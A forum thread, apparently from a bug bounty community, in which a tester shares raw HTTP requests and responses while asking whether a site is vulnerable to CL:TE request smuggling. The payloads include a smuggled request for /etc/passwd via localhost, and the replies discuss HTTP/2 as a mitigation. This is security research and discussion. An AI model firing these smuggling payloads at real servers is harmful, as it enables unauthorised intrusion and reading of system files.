Can this be considered a HTTP Desync Attack?

Today, I played a little around with a scope. It was indicated a possible CL:TE smuggle attack.

The request

POST /?cb=23748 HTTP/1.1
Transfer-Encoding: chunked
Host: www.example.tld
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 4

1
Z
0

returns a 301 reponse

HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=iso-8859-1
Location: http://www.example.tld/en.html?cb=23748
Server: Apache
Content-Length: 256

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.example.tld/en.html?cb=23748">here</a>.</p>
</body></html>

That’s ok. When you request the site with the root domain it forwards you to a specific language page like en.html or es.html. So far so good.

The added cb parameter to the forwarding url in the response got my attention.
I used Burp feature Turbo Intruder “Smuggle Attack CL:TE” without changing anything in the script pane (standard attack).

Of 15 requests, 14 returned a 301 and one returned a 302. All requests, except row 2 request, were send like the post request above. In row 2 request, payload is

...
Content-Length: 50    

1
Z
0

GET /hopefully404 HTTP/1.1
X-Ignore: X

instead of

...
Content-Length: 11
    
1
Z
0

Row 4 request response then is

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=iso-8859-1
Location: http://www.example.tld/hopefully404.html
Server: Apache
Content-Length: 221

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.example.tld/hopefully404.html">here</a>.</p>
</body></html>

It this just a weird web cache behaviour or can it be considered a valid HTTP desync attack? Curious about your opinion.

Additionally, when I add a payload like this

1
Z
0

GET http://localhost/etc/passwd HTTP/1.1
X-Ignore: X

then the next or after next request returns a 403 “Access denied” error instead of 302.

I don’t use burp and I don’t know how the “Smuggle Attack CL:TE” functionality works, but it does look like HTTP smuggling. Row 4 is the response to the GET request smuggled on row 2.

Now keep in mind that burp will force HTTP/1.1, but regular users will use HTTP/2 if supported by the server. So this may not be exploitable.

1 Like

Interesting, thanks for pointing this out!

I just run all the requests with HTTP/2 instead of HTTP/1.1 and indeed I only got 301 reponses, no 302 anymore.

Not sure if I should report it anyway, although it could be a P5.


Update: I tried several things. If I do make all the POST requests and the smuggled GET request to HTTP/2 then only 301 reponses are returned. However, if I only send the POST requests with HTTP/2 and the smuggled GET request keeps a HTTP/1.1 request then a 302 is returned again.

Good point but isn’t the mitigation HTTP/2 for backend requests, not the front end?

Burp can now use HTTP/2, but I’m not sure if the Request Smuggling plugin will try it.